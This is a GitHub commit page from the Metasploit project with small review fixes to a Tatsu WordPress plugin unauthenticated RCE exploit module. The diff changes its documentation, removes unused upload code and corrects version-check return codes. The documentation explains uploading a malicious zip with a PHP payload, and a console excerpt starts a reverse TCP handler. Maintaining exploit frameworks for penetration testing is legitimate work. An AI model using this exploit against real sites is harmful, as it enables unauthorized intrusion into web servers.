Skip to content

Commit 3abe9b4

Browse files
committed
Addressing comments
1 parent 2e3b666 commit 3abe9b4

File tree

2 files changed

+13
-7
lines changed

2 files changed

+13
-7
lines changed

documentation/modules/exploit/multi/http/wp_tatsu_rce.md

Lines changed: 10 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,9 @@
11
## Vulnerable Application
22

3-
This module exploits unauthenticated remote code execution in Tatsu plugin for Wordpress. The vulnerable version is below 3.3.11. The module upload malicious zip file containing PHP payload, which gets parsed and unzipped into Wordpress upload directory. Then module will trigger the payload by sending request with payload directory as URI. The vulnerable plugin is available [here](https://tatsubuilder.com/wp-content/uploads/edd/2022/03/tatsu-3.3.11.zip)
3+
This module exploits unauthenticated remote code execution in Tatsu plugin for Wordpress. The vulnerable version is below 3.3.11.
4+
The module upload malicious zip file containing PHP payload, which gets parsed and unzipped into Wordpress upload directory.
5+
Then module will trigger the payload by sending request with payload directory as URI. The vulnerable plugin is available [here](https://tatsubuilder.com/wp-content/uploads/edd/2022/03/tatsu-3.3.11.zip)
6+
47

58
## Verification Steps
69

@@ -53,8 +56,14 @@ volumes:
5356
## Options
5457

5558

59+
## Scenarios
60+
61+
Vulnerable version is <= 3.3.11.
62+
5663
### Version and OS
5764

65+
Vulnerable version is <= 3.3.11.
66+
5867
```
5968
`msf6 exploit(multi/http/wp_tatsu_rce) > run
6069
[*] Started reverse TCP handler on 192.168.168.128:4444

modules/exploits/multi/http/wp_tatsu_rce.rb

Lines changed: 3 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -62,9 +62,6 @@ def create_zip
6262

6363
def upload_malicious_zip
6464
zip_payload = create_zip
65-
post_data = Rex::MIME::Message.new
66-
post_data.add_part('add_custom_font', nil, nil, 'form-data; name="action"')
67-
post_data.add_part(zip_payload, nil, nil, %(form-data; name="file"; filename="#{Rex::Text.rand_text_alphanumeric(12)}.zie"))
6865

6966
boundary = Rex::Text.rand_text_alphanumeric(32).to_s
7067

@@ -116,13 +113,13 @@ def check
116113

117114
changelog_body = res.body
118115

119-
return CheckCode::Detected('Could not find tatsu plugin') if changelog_body.blank?
116+
return CheckCode::Safe('Could not find tatsu plugin') if changelog_body.blank?
120117

121-
return CheckCode::Safe('Failed to get version') unless changelog_body.match(/v(\d\d?.\d\d?.\d\d?)/)
118+
return CheckCode::Detected('Tatsu plugin detected but it failed to get version') unless changelog_body.match(/v(\d\d?.\d\d?.\d\d?)/)
122119

123120
version = Rex::Version.new(Regexp.last_match(1))
124121

125-
return CheckCode::Vulnerable("Found version #{version}") if version <= Rex::Version.new('3.3.11')
122+
return CheckCode::Appears("Found version #{version}") if version <= Rex::Version.new('3.3.11')
126123

127124
return CheckCode::Safe('Patched version detected')
128125
end

0 commit comments

Comments
 (0)